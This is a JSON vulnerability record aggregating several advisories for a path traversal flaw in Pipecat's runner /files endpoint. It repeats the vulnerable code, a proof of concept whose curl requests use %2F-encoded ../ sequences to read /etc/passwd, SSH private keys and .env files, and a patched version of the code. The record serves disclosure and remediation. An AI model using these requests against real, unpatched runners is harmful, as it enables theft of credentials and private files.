{"id":"CVE-2026-44716","aliases":["EUVD-2026-35875","GHSA-3363-2ph6-35wh","PYSEC-2026-2877"],"status":"published","title":"Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator","description":"Pipecat is an open-source Python framework for building real-time voice and multimodal conversational agents. From version 0.0.90 to before version 1.2.0, a path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request. This issue has been patched in version 1.2.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00423,"percentile":0.3685,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-05-15T16:55:04Z","modified":"2026-10-28T02:30:51Z","fixes":[{"ecosystem":"PyPI","package":"pipecat-ai","fixed_in":["1.2.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pipecat-ai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.90"},{"fixed":"1.2.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"pipecat-ai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.90"},{"fixed":"1.2.0"}]}],"versions":["0.0.100","0.0.101","0.0.102","0.0.103","0.0.104","0.0.105","0.0.106","0.0.107","0.0.108","0.0.90","0.0.91","0.0.92","0.0.93","0.0.94","0.0.95","0.0.96","0.0.97","0.0.98","0.0.99","1.0.0","1.1.0"]},{"source":"osv","ecosystem":"PyPI","package":"pipecat-ai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.90"},{"fixed":"1.2.0"}]}],"versions":["0.0.100","0.0.101","0.0.102","0.0.103","0.0.104","0.0.105","0.0.106","0.0.107","0.0.108","0.0.90","0.0.91","0.0.92","0.0.93","0.0.94","0.0.95","0.0.96","0.0.97","0.0.98","0.0.99","1.0.0","1.1.0"]}],"products":[{"vendor":"pipecat","product":"pipecat"},{"vendor":"pipecat-ai","product":"pipecat"}],"references":[{"url":"https://github.com/pipecat-ai/pipecat/security/advisories/GHSA-3363-2ph6-35wh","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/pipecat-ai/pipecat/pull/4417","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/pipecat-ai/pipecat/commit/7519c26ac5508573c35fa3a9c4717b013993d129","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/pipecat-ai/pipecat/releases/tag/v1.2.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44716","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3363-2ph6-35wh","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44716.json","tags":["advisory"]},{"url":"https://github.com/pipecat-ai/pipecat","tags":["package"]},{"url":"https://pypi.org/project/pipecat-ai","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44716","title":"Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator","description":"Pipecat is an open-source Python framework for building real-time voice and multimodal conversational agents. From version 0.0.90 to before version 1.2.0, a path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request. This issue has been patched in version 1.2.0.","status":"published","published":"2026-06-09T23:07:25.868Z","modified":"2026-06-10T13:14:07.004Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-35875","description":"Pipecat is an open-source Python framework for building real-time voice and multimodal conversational agents. From version 0.0.90 to before version 1.2.0, a path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request. This issue has been patched in version 1.2.0.","status":"published","published":"2026-06-09T23:07:25Z","modified":"2026-06-10T13:14:07Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T18:20:45.405546Z"}],"ghsa":[{"id":"GHSA-3363-2ph6-35wh","title":"Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator","description":"## Summary\n\nA path traversal vulnerability exists in Pipecat's development runner (`src/pipecat/runner/run.py`). When the runner is started with the `--folder` flag, it exposes a `GET /files/{filename:path}` download endpoint. The `filename` path parameter is concatenated directly onto `args.folder` with no containment check. Starlette normalises literal `../` sequences in URLs, but `%2F`-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so `..%2F..%2Fetc%2Fpasswd` resolves to a path two levels above `args.folder`. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.\n\nConfirmed on **pipecat-ai 1.1.0** (latest PyPI release) and commit `f078df78058ae82a02ce5b23e9e3a99a0917a53d`.\n\n---\n\n## Details\n\nThe vulnerable code is in `src/pipecat/runner/run.py`, inside the `_configure_server_app()` function, lines 249–264:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n    \"\"\"Handle file downloads.\"\"\"\n    if not args.folder:\n        logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n        return\n\n    file_path = Path(args.folder) / filename          # ← no containment check\n    if not os.path.exists(file_path):\n        raise HTTPException(404)\n\n    media_type, _ = mimetypes.guess_type(file_path)\n\n    return FileResponse(path=file_path, media_type=media_type, filename=filename)\n```\n\n`Path(args.folder) / filename` joins the caller-supplied `filename` onto the base directory without calling `.resolve()` or checking `is_relative_to`. Python's `pathlib` does not strip `..` segments during join — only `.resolve()` does. Starlette strips literal `../` from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because `%2F` decodes to `/` after the router has already matched the route, the value that reaches `filename` can contain `/` characters, enabling directory traversal.\n\nFor example:\n\n```\nGET /files/..%2F..%2Fetc%2Fpasswd\n                   ↓\nfilename = \"../../etc/passwd\"          (after Starlette decodes %2F)\nfile_path = Path(\"/tmp/media\") / \"../../etc/passwd\"\n          = Path(\"/tmp/media/../../etc/passwd\")\n          → resolves to /etc/passwd    (os.path.exists returns True)\n```\n\nThe endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.\n\n---\n\n## Proof of Concept\n\n### Step 1 — Start the Pipecat runner with `--folder`\n\nThe runner requires a bot script with a `bot()` entry point. A minimal script that keeps the HTTP server alive without any transport logic:\n\n```python\n# minimal_bot.py\nasync def bot(runner_args):\n    import asyncio\n    await asyncio.sleep(86400)\n\nif __name__ == \"__main__\":\n    from pipecat.runner.run import main\n    main()\n```\n\nStart the runner:\n\n```bash\npip install \"pipecat-ai[runner,webrtc]\"\n\nmkdir /tmp/bot_media\necho \"session transcript\" \u003e /tmp/bot_media/recording.txt\n\npython minimal_bot.py \\\n    -t webrtc \\\n    --host 127.0.0.1 \\\n    --port 7860 \\\n    --folder /tmp/bot_media\n```\n\nExpected output:\n\u003cimg width=\"1626\" height=\"462\" alt=\"image\" src=\"https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f\" /\u003e\n\n### Step 2 — Exploit\n\n```bash\n# Legitimate request — serves a file inside --folder\ncurl \"http://127.0.0.1:7860/files/recording.txt\"\n# → session transcript\n\n# Literal ../ — blocked by Starlette path normalisation\ncurl \"http://127.0.0.1:7860/files/../../etc/passwd\"\n# → {\"detail\":\"Not Found\"}\n\n# %2F-encoded separators — bypass normalisation, read /etc/passwd\ncurl \"http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd\"\n# → ## User Database\n#   root:*:0:0:System Administrator:/var/root:/bin/sh\n#   ...\n\n# Read SSH private key\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa\"\n# → -----BEGIN OPENSSH PRIVATE KEY-----\n#   b3BlbnNzaC1rZXktdjEAAAA...\n\n# Read application secrets\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F.env\"\n```\n\n### Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)\n\n| Request | HTTP status | Content |\n|---------|-------------|---------|\n| `GET /files/recording.txt` | 200 | Legitimate file |\n| `GET /files/../../etc/passwd` | 404 | Blocked — literal `..` normalised away |\n| `GET /files/..%2F..%2Fetc%2Fpasswd` | **200** | Full `/etc/passwd` |\n| `GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa` | **200** | RSA private key (`BEGIN OPENSSH PRIVATE KEY`) |\n\u003cimg width=\"2222\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49\" /\u003e\n\u003cimg width=\"1304\" height=\"314\" alt=\"image\" src=\"https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba\" /\u003e\n\u003cimg width=\"1188\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00\" /\u003e\n\n---\n\n## Impact\n\nThe `--folder` flag is a documented, first-class feature of the runner: the `runner_downloads_folder()` helper and `-f / --folder` CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (`--host 192.168.1.100` for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.\n\nAn attacker who can reach the runner port and knows `--folder` is active can retrieve any file readable by the pipecat process:\n\n- SSH private keys and TLS certificates\n- `.env` files and application credentials\n- Database files, session tokens, API keys\n- System files such as `/etc/passwd` and `/etc/shadow` (on Linux)\n- Source code, config files, and secrets in parent directories of `--folder`\n\n---\n\n## Remediation\n\nCall `.resolve()` on both the base path and the joined path, then assert containment with `is_relative_to`:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n    if not args.folder:\n        logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n        return\n\n    allowed_base = Path(args.folder).resolve()\n    file_path = (allowed_base / filename).resolve()   # resolve AFTER join\n\n    if not file_path.is_relative_to(allowed_base):    # containment check\n        raise HTTPException(status_code=403, detail=\"Access denied\")\n    if not file_path.exists():\n        raise HTTPException(status_code=404)\n\n    media_type, _ = mimetypes.guess_type(file_path)\n    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)\n```\n\n`Path.resolve()` expands all `..` components and follows symlinks before `is_relative_to` compares the paths, so neither `%2F`-encoded separators nor symlink chains can escape the allowed base.","status":"published","published":"2026-05-15T16:55:04Z","modified":"2026-06-10T13:41:02Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:24.856614Z"}],"nvd":[{"id":"CVE-2026-44716","description":"Pipecat is an open-source Python framework for building real-time voice and multimodal conversational agents. From version 0.0.90 to before version 1.2.0, a path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request. This issue has been patched in version 1.2.0.","status":"published","published":"2026-06-10T00:16:53.11Z","modified":"2026-10-06T21:10:00.173Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:23.485267Z"}],"osv":[{"id":"CVE-2026-44716","title":"Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator","description":"Pipecat is an open-source Python framework for building real-time voice and multimodal conversational agents. From version 0.0.90 to before version 1.2.0, a path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request. This issue has been patched in version 1.2.0.","status":"published","published":"2026-06-09T23:07:25.868Z","modified":"2026-10-28T02:30:51.148930923Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"GHSA-3363-2ph6-35wh","title":"Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator","description":"## Summary\n\nA path traversal vulnerability exists in Pipecat's development runner (`src/pipecat/runner/run.py`). When the runner is started with the `--folder` flag, it exposes a `GET /files/{filename:path}` download endpoint. The `filename` path parameter is concatenated directly onto `args.folder` with no containment check. Starlette normalises literal `../` sequences in URLs, but `%2F`-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so `..%2F..%2Fetc%2Fpasswd` resolves to a path two levels above `args.folder`. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.\n\nConfirmed on **pipecat-ai 1.1.0** (latest PyPI release) and commit `f078df78058ae82a02ce5b23e9e3a99a0917a53d`.\n\n---\n\n## Details\n\nThe vulnerable code is in `src/pipecat/runner/run.py`, inside the `_configure_server_app()` function, lines 249–264:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n    \"\"\"Handle file downloads.\"\"\"\n    if not args.folder:\n        logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n        return\n\n    file_path = Path(args.folder) / filename          # ← no containment check\n    if not os.path.exists(file_path):\n        raise HTTPException(404)\n\n    media_type, _ = mimetypes.guess_type(file_path)\n\n    return FileResponse(path=file_path, media_type=media_type, filename=filename)\n```\n\n`Path(args.folder) / filename` joins the caller-supplied `filename` onto the base directory without calling `.resolve()` or checking `is_relative_to`. Python's `pathlib` does not strip `..` segments during join — only `.resolve()` does. Starlette strips literal `../` from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because `%2F` decodes to `/` after the router has already matched the route, the value that reaches `filename` can contain `/` characters, enabling directory traversal.\n\nFor example:\n\n```\nGET /files/..%2F..%2Fetc%2Fpasswd\n                   ↓\nfilename = \"../../etc/passwd\"          (after Starlette decodes %2F)\nfile_path = Path(\"/tmp/media\") / \"../../etc/passwd\"\n          = Path(\"/tmp/media/../../etc/passwd\")\n          → resolves to /etc/passwd    (os.path.exists returns True)\n```\n\nThe endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.\n\n---\n\n## Proof of Concept\n\n### Step 1 — Start the Pipecat runner with `--folder`\n\nThe runner requires a bot script with a `bot()` entry point. A minimal script that keeps the HTTP server alive without any transport logic:\n\n```python\n# minimal_bot.py\nasync def bot(runner_args):\n    import asyncio\n    await asyncio.sleep(86400)\n\nif __name__ == \"__main__\":\n    from pipecat.runner.run import main\n    main()\n```\n\nStart the runner:\n\n```bash\npip install \"pipecat-ai[runner,webrtc]\"\n\nmkdir /tmp/bot_media\necho \"session transcript\" \u003e /tmp/bot_media/recording.txt\n\npython minimal_bot.py \\\n    -t webrtc \\\n    --host 127.0.0.1 \\\n    --port 7860 \\\n    --folder /tmp/bot_media\n```\n\nExpected output:\n\u003cimg width=\"1626\" height=\"462\" alt=\"image\" src=\"https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f\" /\u003e\n\n### Step 2 — Exploit\n\n```bash\n# Legitimate request — serves a file inside --folder\ncurl \"http://127.0.0.1:7860/files/recording.txt\"\n# → session transcript\n\n# Literal ../ — blocked by Starlette path normalisation\ncurl \"http://127.0.0.1:7860/files/../../etc/passwd\"\n# → {\"detail\":\"Not Found\"}\n\n# %2F-encoded separators — bypass normalisation, read /etc/passwd\ncurl \"http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd\"\n# → ## User Database\n#   root:*:0:0:System Administrator:/var/root:/bin/sh\n#   ...\n\n# Read SSH private key\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa\"\n# → -----BEGIN OPENSSH PRIVATE KEY-----\n#   b3BlbnNzaC1rZXktdjEAAAA...\n\n# Read application secrets\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F.env\"\n```\n\n### Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)\n\n| Request | HTTP status | Content |\n|---------|-------------|---------|\n| `GET /files/recording.txt` | 200 | Legitimate file |\n| `GET /files/../../etc/passwd` | 404 | Blocked — literal `..` normalised away |\n| `GET /files/..%2F..%2Fetc%2Fpasswd` | **200** | Full `/etc/passwd` |\n| `GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa` | **200** | RSA private key (`BEGIN OPENSSH PRIVATE KEY`) |\n\u003cimg width=\"2222\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49\" /\u003e\n\u003cimg width=\"1304\" height=\"314\" alt=\"image\" src=\"https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba\" /\u003e\n\u003cimg width=\"1188\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00\" /\u003e\n\n---\n\n## Impact\n\nThe `--folder` flag is a documented, first-class feature of the runner: the `runner_downloads_folder()` helper and `-f / --folder` CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (`--host 192.168.1.100` for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.\n\nAn attacker who can reach the runner port and knows `--folder` is active can retrieve any file readable by the pipecat process:\n\n- SSH private keys and TLS certificates\n- `.env` files and application credentials\n- Database files, session tokens, API keys\n- System files such as `/etc/passwd` and `/etc/shadow` (on Linux)\n- Source code, config files, and secrets in parent directories of `--folder`\n\n---\n\n## Remediation\n\nCall `.resolve()` on both the base path and the joined path, then assert containment with `is_relative_to`:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n    if not args.folder:\n        logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n        return\n\n    allowed_base = Path(args.folder).resolve()\n    file_path = (allowed_base / filename).resolve()   # resolve AFTER join\n\n    if not file_path.is_relative_to(allowed_base):    # containment check\n        raise HTTPException(status_code=403, detail=\"Access denied\")\n    if not file_path.exists():\n        raise HTTPException(status_code=404)\n\n    media_type, _ = mimetypes.guess_type(file_path)\n    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)\n```\n\n`Path.resolve()` expands all `..` components and follows symlinks before `is_relative_to` compares the paths, so neither `%2F`-encoded separators nor symlink chains can escape the allowed base.","status":"published","published":"2026-05-15T16:55:04Z","modified":"2026-07-13T16:42:50.468184485Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:35.050232Z"},{"id":"PYSEC-2026-2877","title":"Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator","description":"## Summary\n\nA path traversal vulnerability exists in Pipecat's development runner (`src/pipecat/runner/run.py`). When the runner is started with the `--folder` flag, it exposes a `GET /files/{filename:path}` download endpoint. The `filename` path parameter is concatenated directly onto `args.folder` with no containment check. Starlette normalises literal `../` sequences in URLs, but `%2F`-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so `..%2F..%2Fetc%2Fpasswd` resolves to a path two levels above `args.folder`. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.\n\nConfirmed on **pipecat-ai 1.1.0** (latest PyPI release) and commit `f078df78058ae82a02ce5b23e9e3a99a0917a53d`.\n\n---\n\n## Details\n\nThe vulnerable code is in `src/pipecat/runner/run.py`, inside the `_configure_server_app()` function, lines 249–264:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n    \"\"\"Handle file downloads.\"\"\"\n    if not args.folder:\n        logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n        return\n\n    file_path = Path(args.folder) / filename          # ← no containment check\n    if not os.path.exists(file_path):\n        raise HTTPException(404)\n\n    media_type, _ = mimetypes.guess_type(file_path)\n\n    return FileResponse(path=file_path, media_type=media_type, filename=filename)\n```\n\n`Path(args.folder) / filename` joins the caller-supplied `filename` onto the base directory without calling `.resolve()` or checking `is_relative_to`. Python's `pathlib` does not strip `..` segments during join — only `.resolve()` does. Starlette strips literal `../` from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because `%2F` decodes to `/` after the router has already matched the route, the value that reaches `filename` can contain `/` characters, enabling directory traversal.\n\nFor example:\n\n```\nGET /files/..%2F..%2Fetc%2Fpasswd\n                   ↓\nfilename = \"../../etc/passwd\"          (after Starlette decodes %2F)\nfile_path = Path(\"/tmp/media\") / \"../../etc/passwd\"\n          = Path(\"/tmp/media/../../etc/passwd\")\n          → resolves to /etc/passwd    (os.path.exists returns True)\n```\n\nThe endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.\n\n---\n\n## Proof of Concept\n\n### Step 1 — Start the Pipecat runner with `--folder`\n\nThe runner requires a bot script with a `bot()` entry point. A minimal script that keeps the HTTP server alive without any transport logic:\n\n```python\n# minimal_bot.py\nasync def bot(runner_args):\n    import asyncio\n    await asyncio.sleep(86400)\n\nif __name__ == \"__main__\":\n    from pipecat.runner.run import main\n    main()\n```\n\nStart the runner:\n\n```bash\npip install \"pipecat-ai[runner,webrtc]\"\n\nmkdir /tmp/bot_media\necho \"session transcript\" \u003e /tmp/bot_media/recording.txt\n\npython minimal_bot.py \\\n    -t webrtc \\\n    --host 127.0.0.1 \\\n    --port 7860 \\\n    --folder /tmp/bot_media\n```\n\nExpected output:\n\u003cimg width=\"1626\" height=\"462\" alt=\"image\" src=\"https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f\" /\u003e\n\n### Step 2 — Exploit\n\n```bash\n# Legitimate request — serves a file inside --folder\ncurl \"http://127.0.0.1:7860/files/recording.txt\"\n# → session transcript\n\n# Literal ../ — blocked by Starlette path normalisation\ncurl \"http://127.0.0.1:7860/files/../../etc/passwd\"\n# → {\"detail\":\"Not Found\"}\n\n# %2F-encoded separators — bypass normalisation, read /etc/passwd\ncurl \"http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd\"\n# → ## User Database\n#   root:*:0:0:System Administrator:/var/root:/bin/sh\n#   ...\n\n# Read SSH private key\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa\"\n# → -----BEGIN OPENSSH PRIVATE KEY-----\n#   b3BlbnNzaC1rZXktdjEAAAA...\n\n# Read application secrets\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F.env\"\n```\n\n### Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)\n\n| Request | HTTP status | Content |\n|---------|-------------|---------|\n| `GET /files/recording.txt` | 200 | Legitimate file |\n| `GET /files/../../etc/passwd` | 404 | Blocked — literal `..` normalised away |\n| `GET /files/..%2F..%2Fetc%2Fpasswd` | **200** | Full `/etc/passwd` |\n| `GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa` | **200** | RSA private key (`BEGIN OPENSSH PRIVATE KEY`) |\n\u003cimg width=\"2222\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49\" /\u003e\n\u003cimg width=\"1304\" height=\"314\" alt=\"image\" src=\"https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba\" /\u003e\n\u003cimg width=\"1188\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00\" /\u003e\n\n---\n\n## Impact\n\nThe `--folder` flag is a documented, first-class feature of the runner: the `runner_downloads_folder()` helper and `-f / --folder` CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (`--host 192.168.1.100` for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.\n\nAn attacker who can reach the runner port and knows `--folder` is active can retrieve any file readable by the pipecat process:\n\n- SSH private keys and TLS certificates\n- `.env` files and application credentials\n- Database files, session tokens, API keys\n- System files such as `/etc/passwd` and `/etc/shadow` (on Linux)\n- Source code, config files, and secrets in parent directories of `--folder`\n\n---\n\n## Remediation\n\nCall `.resolve()` on both the base path and the joined path, then assert containment with `is_relative_to`:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n    if not args.folder:\n        logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n        return\n\n    allowed_base = Path(args.folder).resolve()\n    file_path = (allowed_base / filename).resolve()   # resolve AFTER join\n\n    if not file_path.is_relative_to(allowed_base):    # containment check\n        raise HTTPException(status_code=403, detail=\"Access denied\")\n    if not file_path.exists():\n        raise HTTPException(status_code=404)\n\n    media_type, _ = mimetypes.guess_type(file_path)\n    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)\n```\n\n`Path.resolve()` expands all `..` components and follows symlinks before `is_relative_to` compares the paths, so neither `%2F`-encoded separators nor symlink chains can escape the allowed base.","status":"published","published":"2026-07-13T15:19:08.419943Z","modified":"2026-07-13T16:32:57.455550871Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:56.429374Z"}]}}